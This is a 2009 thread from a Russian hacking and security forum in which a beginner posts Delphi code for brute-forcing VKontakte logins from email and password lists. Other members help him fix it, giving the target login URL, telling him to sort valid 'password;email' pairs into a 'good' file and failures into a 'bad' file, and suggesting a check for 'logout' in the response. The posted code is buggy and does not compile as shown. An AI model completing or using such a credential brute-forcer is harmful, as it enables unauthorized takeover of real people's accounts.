ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
Авторизация в контакте[DELPHI] |
09.08.2009, 00:08
|
|
Познающий
Регистрация: 21.11.2008
Сообщений: 36
Провел на форуме:
117394
Репутация:
6
|
|
Авторизация в контакте[DELPHI]
Кому не трудно помогите начинающему програмисту  выложить тут исходник с этим кодом
P.S. Поступил на первый курс в техникум  сайт не брошу 
PHP код:
procedure Brute();
var
emails:TStingList;
pass:TStingList;
post:TStingList;
i,j:integer;
begin
email:=TStringList.Create; pass:=TStringList.Create;
http:=TidHTTP.Create(nil);
http.HandleRedirects:=true;
post:=tstringlist.Create;
for i:=0 to emails.Count-1 do begin
post.Clear;
post.Add('email='+emails.Strings[i]);
for j:=0 to pass.Count-1 do begin
post.Add('pass='+pass.Strings[j]);
result:=http.Post('/',post);
if pos('',result)>;0 then
else
end;
end;
emails.Free;
pass.Free;
http.Free;
post.Free;
end;
прост меня интересует код с then и else можно и на сокетах выложить...
P.S.S. не над ругаться типо тема уже была с авторизацией. меня интересует именно с then и else
(что делать если пасс пральны и что если не правильный)
Последний раз редактировалось Ant1Player; 09.08.2009 в 00:21..
|
|
|
09.08.2009, 00:37
|
|
Участник форума
Регистрация: 29.08.2008
Сообщений: 151
Провел на форуме:
1551582
Репутация:
107
|
|
не понятно.... а где вообще then? и что за запрос такой интересный со слешем?
аа... then нашел... ну прикольный код))
|
|
|
|
09.08.2009, 00:44
|
|
Постоянный
Регистрация: 16.04.2007
Сообщений: 398
Провел на форуме:
3371897
Репутация:
1462
|
|
Код:
if pos('',result)>;0 then
else
hmm , а это что вообще такое ? |
|
|
|
09.08.2009, 00:48
|
|
Участник форума
Регистрация: 29.08.2008
Сообщений: 151
Провел на форуме:
1551582
Репутация:
107
|
|
Сообщение от Jes
Код:
if pos('',result)>;0 then
else
hmm , а это что вообще такое ? видимо в этом и вопрос:
что делать если пасс пральны и что если не правильный
если пасс правильный - записывай в один файл, если нет - в другой
|
|
|
|
09.08.2009, 01:02
|
|
Познающий
Регистрация: 21.11.2008
Сообщений: 36
Провел на форуме:
117394
Репутация:
6
|
|
PHP код:
procedure Brute();
var
emails:TStingList;
pass:TStingList;
post:TStingList;
i,j:integer;
begin
email:=TStringList.Create; pass:=TStringList.Create;
http:=TidHTTP.Create(nil);
http.HandleRedirects:=true;
post:=tstringlist.Create;
for i:=0 to emails.Count-1 do begin
post.Clear;
post.Add('email='+emails.Strings[i]);
for j:=0 to pass.Count-1 do begin
post.Add('pass='+pass.Strings[j]);
result:=http.Post('/',post);
if pos('',result)>;0 then
///////
//тут будет код
///////
else
///////
//и тут
//////
end;
end;
emails.Free;
pass.Free;
http.Free;
post.Free;
end;
я вот хз как его дароботать шоб оно работало =))
странный код и я хз какие там компоненты нужны я грю новичек поетому и прошу обработать это в исходник... |
|
|
|
09.08.2009, 03:06
|
|
Участник форума
Регистрация: 29.08.2008
Сообщений: 151
Провел на форуме:
1551582
Репутация:
107
|
|
ничего себе "доработать"...
если решил авторизовываться в контакте, то надо знать параметры запроса и адрес.
Вместо адреса слеш стоит, а надо "http://vkontakte.ru/login.php".
После then записываешь пару "пароль;мыло" в файл "good", после else - в файл "bad". Например так.
Компоненты Indy нужны. Есть в программе?
|
|
|
|
09.08.2009, 10:08
|
|
Познающий
Регистрация: 21.11.2008
Сообщений: 36
Провел на форуме:
117394
Репутация:
6
|
|
Что не так? останавливаетсяя на result
PHP код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdHTTP;
type
TForm1 = class(TForm)
IdHTTP1: TIdHTTP;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
emails:TStringList;
pass:TStringList;
post:TStringList;
i,j:integer;
http:TidHTTP;
begin
emails:=TStringList.Create;
pass:=TStringList.Create;
emails.Add('****@mail.ru');
pass.Add('******');
http:=TidHTTP.Create(nil);
http.HandleRedirects:=true;
post:=tstringlist.Create;
for i:=0 to emails.Count-1 do begin
post.Clear;
post.Add('email='+emails.Strings[i]);
for j:=0 to pass.Count-1 do begin
post.Add('pass='+pass.Strings[j]);
result :=http.Post('http://vkontakte.ru/login.php',post);
if pos('',result)>;0 then
ShowMessage('Не правильно ');
///////
//тут будет код
///////
else
ShowMessage('правильно ');
///////
//и тут
//////
end;
end;
emails.Free;
pass.Free;
http.Free;
post.Free;
end.
|
|
|
|
09.08.2009, 10:51
|
|
Участник форума
Регистрация: 29.08.2008
Сообщений: 151
Провел на форуме:
1551582
Репутация:
107
|
|
Ошибка какая??
Возможно не хватает обязательных параметров. Посмотри снифером.
Возможно заголовки нужны
|
|
|
|
09.08.2009, 11:05
|
|
Познающий
Регистрация: 21.11.2008
Сообщений: 36
Провел на форуме:
117394
Репутация:
6
|
|
Build
[Error] Unit1.pas(49): Undeclared identifier: 'result'
[Error] Unit1.pas(50): Incompatible types
[Error] Unit1.pas(75): Statement expected but end of file found
[Fatal Error] Project2.dpr(5): Could not compile used unit 'Unit1.pas'
49 строка ето result :=http.Post('http://vkontakte.ru/login.php',post);
|
|
|
|
09.08.2009, 11:25
|
|
Участник форума
Регистрация: 29.08.2008
Сообщений: 151
Провел на форуме:
1551582
Репутация:
107
|
|
result не определен как string.
+ pos('logout',result) вот что должно быть в if (т.е. какое-то слово, которое присутствует на странице после входа)
+ походу end не хватает после post.free
Последний раз редактировалось ZdezBilYa; 09.08.2009 в 11:27..
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
